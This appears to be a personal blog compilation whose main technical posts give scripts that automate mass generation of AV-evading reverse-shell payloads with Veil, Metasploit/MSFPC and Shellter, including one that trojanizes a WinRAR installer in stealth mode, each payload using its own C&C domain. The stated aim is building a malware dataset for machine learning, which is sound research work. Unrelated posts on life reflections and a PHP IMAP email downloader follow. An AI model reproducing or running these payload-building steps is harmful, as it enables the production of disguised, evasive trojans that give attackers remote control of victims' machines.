Automating generation of VEIL payloads

This post serves as a journal of the technique used for automating generation of VEIL payloads. 
https://github.com/Veil-Framework

Objective: Generation of 1000 VEIL payloads each with a unique C&C domain name and binary name.

Purpose: Creation of malware dataset for Machine Learning

Background: VEIL framework in itself is a payload generation framework designed for evasion of Anti-Virus. 

Overview:
1) On a Kali Linux VM

2) Install VEIL framework

apt update

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

3) Open gedit and copy the below python script. Save the script to veil directory (/usr/share/veil)

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import socket
from socket import error as socket_error
import errno

import subprocess
from subprocess import Popen

#read domain names to use
print ("Reading domain names from csv file:")
df = pd.read_csv('./website.csv')
df.info()
df.describe()
print ("Loaded domain name file")
print("")

correctmsg = "Metasploit Resource file written to:"
errmsg = "bignum too big to convert"

startfrom = 0

for index, row in df.iterrows():
 if startfrom > index:
  print ("skip: "+str(row[1]))
  continue

 attempt = 1
 #uncomment the 2 lines below to use the resolved ip address instead 
 try:
  addr = socket.gethostbyname(row[0])
  print(addr)
 except socket_error as serr:  
  if serr.errno == -2:
   print ("Domain: "+row[0]+" is unresolvable, using default IP value instead.")
   row[0] = "127.0.0.1"

 command = "-t Evasion -p cs/meterpreter/rev_https.py --ip " + row[0] + " --port 443" 
 binaryname = str(row[1])+".exe"
 print (command)
 
 #set i to any positive number to start the loop  
 i = 9999
 x = -1
 while x == -1:
  proc = subprocess.Popen(['./Veil.py','-t','Evasion','-p','cs/meterpreter/rev_https.py','--ip',str(row[0]),'--port','443','-o',str(row[1])], stdout=subprocess.PIPE,stderr=subprocess.PIPE)
  tmp = proc.communicate()[0]
  x = tmp.find(correctmsg)
  #-1 represent errmsg is not found thus implying that crafting is successful
  i = tmp.find(errmsg)
  #print ("i value:" + str(i))

  if i != -1 :
   print ("retrying error crafting payload...: attempting " + str(attempt) + " times")
   attempt = attempt + 1 
  if x == -1 :
   print ("error: " + tmp)
   attempt = attempt + 1 

 print ("Command: " + command + " is successful.")
 print ("Saving as :" + binaryname)
 #subprocess.call('mv ./windows-meterpreter-staged-reverse-https-443.exe ./' + binaryname, shell=True)
 print ("Saved")
 print ("")
 

4) Create a csv file using excel with the following format and save it as website.csv: 

5) Execute the Python script 

cd /usr/share/veil
python veil_malware_generation_script.py

6) Generated malware are saved at /var/lib/veil/output/compiled

7) VEIL is really fast, about 20 minutes to generate the 1000 malware samples.

Automating generation of Metasploit payloads

This post serves as a journal of the technique used for automating generation of Metasploit payloads. 

Objective: Generation of 1000 Metasploit payloads each with a unique C&C domain name and binary name.

Purpose: Creation of malware dataset for Machine Learning

Background: Previously i used MSVenom Payload Creator (MSFPC) for quickly generating payloads. MSFPC is a wrapper class on top of MSFVenom. MSFPC is insufficient to meet my objective, thus i had to write a wrapper class on top of MSFPC. 

*So this is a wrapper on top of a wrapper. Technically MSFPC is redundant. 

Overview:
1) On a Kali Linux VM
2) Update Metasploit

apt update
apt install metasploit-framework

3) Install MSFPC

apt install -y msfpc

4) Open gedit and copy the below python script

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import socket
from socket import error as socket_error
import errno

import subprocess
from subprocess import Popen

#read domain names to use
print ("Reading domain names from csv file:")
df = pd.read_csv('./website.csv')
df.info()
df.describe()
print ("Loaded domain name file")
print("")

correctmsg = "Done"
errmsg = "bignum too big to convert"

startfrom = 2

for index, row in df.iterrows():
	if startfrom > index:
		print ("skip: "+str(row[1]))
		continue

	attempt = 1
	#uncomment the 2 lines below to use the resolved ip address instead 
	try:
		addr = socket.gethostbyname(row[0])
		print(addr)
	except socket_error as serr:		
		if serr.errno == -2:
			print ("Domain: "+row[0]+" is unresolvable, using default IP value instead.")
			row[0] = "127.0.0.1"

	command = "windows " + row[0] + " https" 
	binaryname = str(row[1])+".exe"
	print (command)
	
	#set i to any positive number to start the loop 	
	i = 9999
	x = -1
	while x == -1:
		proc = subprocess.Popen(['msfpc', command], stdout=subprocess.PIPE,stderr=subprocess.PIPE)
		tmp = proc.communicate()[0]
		x = tmp.find(correctmsg)
		#-1 represent errmsg is not found thus implying that crafting is successful
		i = tmp.find(errmsg)
		#print ("i value:" + str(i))

		if i != -1 :
			print ("retrying error crafting payload...: attempting " + str(attempt) + " times")
			attempt = attempt + 1 
		if x == -1 :
			print ("error: " + tmp)
			attempt = attempt + 1 

	print ("Command: msfpc " + command + " is successful.")
	print ("Saving as :" + binaryname)
	subprocess.call('mv ./windows-meterpreter-staged-reverse-https-443.exe ./' + binaryname, shell=True)
	print ("Saved")
	print ("")
	

5) Create a csv file using excel with the following format and save it as website.csv: 

6) Execute the Python script (*internet is needed as msfvenom will validate the LHOST domain name)

7) About 40mins for 100 binaries, 900 to go =)

Metasploit bignum too big to convert into `long' error

Background:
If you are having the following error, it might be that your Metasploit framework is outdated.
I was having this issue when i used Metasploit framework from a Kali 2017 vm image without updating it.

Solution:
1. Update the framework, the below command works on my Kali Linux.

apt update
apt install metasploit-framework

Automating generation of SHELLTER payloads

This post serves as a journal of the technique used for automating generation of SHELLTER payloads. 

Objective: Generation of 1000 SHELLTER payloads each with a unique C&C domain name and binary name.

Purpose: Creation of malware dataset for Machine Learning

Background: SHELLTER is an closed-source shellcode injection framework that performs dynamic PE infection based upon execution flow of the target application. This approach does not modify the original PE header thus allowing it to appear normal using static analysis. 

SHELLTER is a windows PE binary and can be found https://www.shellterproject.com/download/
It can be executed on Linux using WINE or directly in Windows. 

Challenge: I initially ran SHELLTER from Linux but have difficulty automating a WINE terminal. After researching on using PYTHON subprocess, i found it too much of a hassle to attempt redirection to and fro a WINE terminal from a Linux terminal.

Thus i ended up automating SHELLTER from native Windows instead. Autoit is a free software designed for creation of automated scripts. 

Overview of Technique:
1) Create a Win7 VM on VMWARE
2) Download SHELLTER 
3) Download and install Autoit 
4) Open Autoit SciTE script editor
5) Typed in the following script

#include <MsgBoxConstants.au3>;
#RequireAdmin

#include <FileConstants.au3>;
#include <MsgBoxConstants.au3>;
#include <WinAPIFiles.au3>;
#include <File.au3>;


;If IsAdmin() Then MsgBox($MB_SYSTEMMODAL, "", "The script is running with admin rights.")

Func Generate($vVar1 = "google.com")
 Run('.\shellter.exe')
 Sleep(1000)
 WinWaitActive("Shell7er", "", 1)

 ;automate
 Send("A{Enter}")
 Sleep(1000)

 ;Do not check update
 Send("N{Enter}")
 Sleep(1000)

 ;original binary path
 Send(".\wrar560.exe{Enter}")
 Sleep(35000)

 ;Stealth mode
 Send("Y{Enter}")
 Sleep(1000)

 ;payload selection
 Send("l{Enter}")
 Sleep(2000)
 Send("3{Enter}")
 Sleep(1000)

 ;domain name
 Send($vVar1)
 Send("{Enter}")
 Sleep(1000)

 ;port number
 Send("443{Enter}")
 Sleep(10000)

 Send("{Enter}")
EndFunc


Func print($test3)
 MsgBox($MB_SYSTEMMODAL, "", $test3)
EndFunc

$file = ".\website.csv"
FileOpen($file, 0)

;2 is first entry, 1 is the header
$StartFrom = 2

For $i = $StartFrom to _FileCountLines($file)
    $line = StringSplit(FileReadLine($file, $i),",")
 $domainName = $line[1]
 Generate($domainName)
 ;print($line[2])
 Sleep(3000)
 $sDestination = ".\malware\" & $line[2]
 ;MsgBox($MB_SYSTEMMODAL, "", $sDestination)
 FileMove(".\wrar560.exe", $sDestination, $FC_OVERWRITE)
 FileMove(".\Shellter_Backups\wrar560.exe", ".\wrar560.exe", $FC_OVERWRITE)
Next

FileClose($file)

6) Save the Autoit script in the same directory where Shellter.exe resides in.
7) Create a csv file using excel with the following format and save it as website.csv: 

8) I have chosen to pack winrar (wrar560.exe) with the payload, you may find it here https://www.rarlab.com/rar/wrar560.exe
9) Save wrar560.exe to the same directory as Shellter.exe
10) Execute the Autoit script 

Results: 
Took about 2 days to create over 900 malware samples. 100 more to go =)

Feel free to modify the script accordingly.

A reflection on decision making

Life is a series of decision, some made on impulses while others through serious deliberation.
Perhaps writing down my thought process could help provide clarity when i need it the most.

What works:
Reflecting back on the past, i stood behind every key decision made and this seems to work out well for me. There are no right or wrong decision, your life shapes itself around the decision that you made. If you believe in the decision made, you will inevitably work towards ensuring its success.
Living life with regrets only serves to make one's life worst than it actually is.

What to avoid:
Big decision that has serious implication on yourself and others deserves more time for consideration. Yet time is a precious commodity, and spending too much time could lead to over-thinking and inaction. As such a fine balance is necessary to ensure adequate but not over-thinking.

Approaches:
Listing out the options and its respective pros and cons and question assumption made
Be objective, or try to be
Speak to others
Take your time
Trust your instinct

Reflection on life

It has been awhile since my last technical posting, a reflection of my current situation as a middle management.

Most technologist in Asia or at least in my narrow perspective could choose to either become an expert in a certain field and risk becoming obsolete or pursue a life trying to scale the corporate ladder.

I have chosen the latter and what it means is a shift in focus from being the problem solver to becoming a shape-shifter taking on the role of a saleman, slave driver, morale booster, leader, prophet, jester.

The role of a manager can be rewarding only if you are given the autonomy to lead your team and that you can produce results. And it is only fair that you should take responsibility of your team's performance.

But often time you will need to do the bidding of higher-ups whose direction you might not always agreed with. So how do you work on something that even you do not believe in ?? It is not impossible, but just very unfulfilling. How do you escape this cycle??

After going through some unfulfilling years at work, i have decided to take a year break from it all. An opportunity to slow down and appreciate life. A quest to do some reflection, to recharge my mind, body and soul (MBS).

As i struggle to define what is MBS, i guess the easiest approach would be to add activities that falls into this category in an iterative manner. The list would be flexible and dynamic but this post will be a good place to note down my commitment.

Mind
Learn something new - (Doing my Masters in information security)
Learn a new language

Body
Exercise - at least twice a week either swim, gym, jog or hike
Sleep - at least 8 hrs
Eat well 

Soul
Practice mindfulness - need to learn that first
Meet new people
Chill 

php imap download email to eml a comparison of different approaches

Pieced together a simple php script to download emails using imap.

These are some of the different approaches to download the email as eml format. 

 Approach A   
 $headers = imap_fetchheader($connection, $k, FT_PREFETCHTEXT);  
 $body = imap_body($connection, $k);  
 file_put_contents("pathtoemail.eml", $headers . "\n" . $body);  
 Approach B  
  $body=imap_fetchbody($connection, $k, "");  
 file_put_contents("pathtoemail.eml", $body);  
 Approach C  
  imap_savebody($connection, "pathtoemail.eml", $k);  

Performance comparison when downloading 1 day worth of email. (lower is better)
 Approach A (mins)  
 1. 2.095  
 2. 1.886  
 3. 1.984  
 4. 1.990   
 Approach B (mins)  
 1. 1.447  
 2. 1.357  
 3. 1.399  
 4. 1.413  
 Approach C (mins)  
 1. 1.468  
 2. 1.409  
 3. 1.401  
 4. 1.367  


Conclusion:

Either approach B or C would make a good choice for downloading emails using php imap.

Sample script:

 <?php  
 $time_start = microtime(true);   
 //$server = '{imap.mail.yahoo.com:993/ssl}';  
 $server = '{imap.gmail.com:993/ssl}';  
 //$user = 'xxx@gmail.com';  
 $user = $argv[1];  
 //$pass = 'xxx';  
 $pass = "$argv[2]";  
 date_default_timezone_set('Asia/Shanghai');  
 $criteria = 'SINCE "'.date('d M Y', strtotime('- 1 days')).'"';  
 $connection = imap_open($server, $user, $pass) or die("can't connect: " . imap_last_error());  
 $mailboxes = imap_list($connection, $server, '*');  
 $folder = "./$user/";  
 if(!file_exists($folder)){  
   mkdir($folder, 0777, true);  
 }  
 foreach($mailboxes as $mailbox) {  
   $shortname = str_replace($server, '', $mailbox);  
   echo "$shortname\n";  
   //create folder  
   if(!file_exists("$folder$shortname")){  
     mkdir("$folder$shortname", 0777, true);  
     }  
   //enter into folder  
   imap_reopen($connection, $server.$shortname);  
   $count = imap_num_msg($connection);  
   $uids = imap_search($connection, $criteria, SE_UID, 'UTF-8');  
   if(is_array($uids)){  
     foreach($uids as $ud){    
       $k = imap_msgno ($connection, $ud);  
       //approach A  
       //$headers = imap_fetchheader($connection, $k, FT_PREFETCHTEXT);  
       //$body = imap_body($connection, $k);  
       //file_put_contents("$folder$shortname/$ud.eml", $headers ."\n". $body);  
       //approach B  
       //$body=imap_fetchbody($connection, $k, "");  
       //file_put_contents("$folder$shortname/$ud.eml", $body);  
       //approach C  
       imap_savebody($connection, "$folder$shortname/$ud.eml", $k);  
       echo "saved $ud.eml " . "($count-$k)\n";    
     }  
   }else{  
 //          echo "imap_search failed: " . imap_last_error() . "\n";  
     }  
 }  
   imap_errors();  
   imap_close($connection);  
 $time_end = microtime(true);  
 //dividing with 60 will give the execution time in minutes other wise seconds  
 $execution_time = ($time_end - $time_start)/60;  
 //execution time of the script  
 echo 'Total Execution Time: '.$execution_time.' Mins';  
 ?>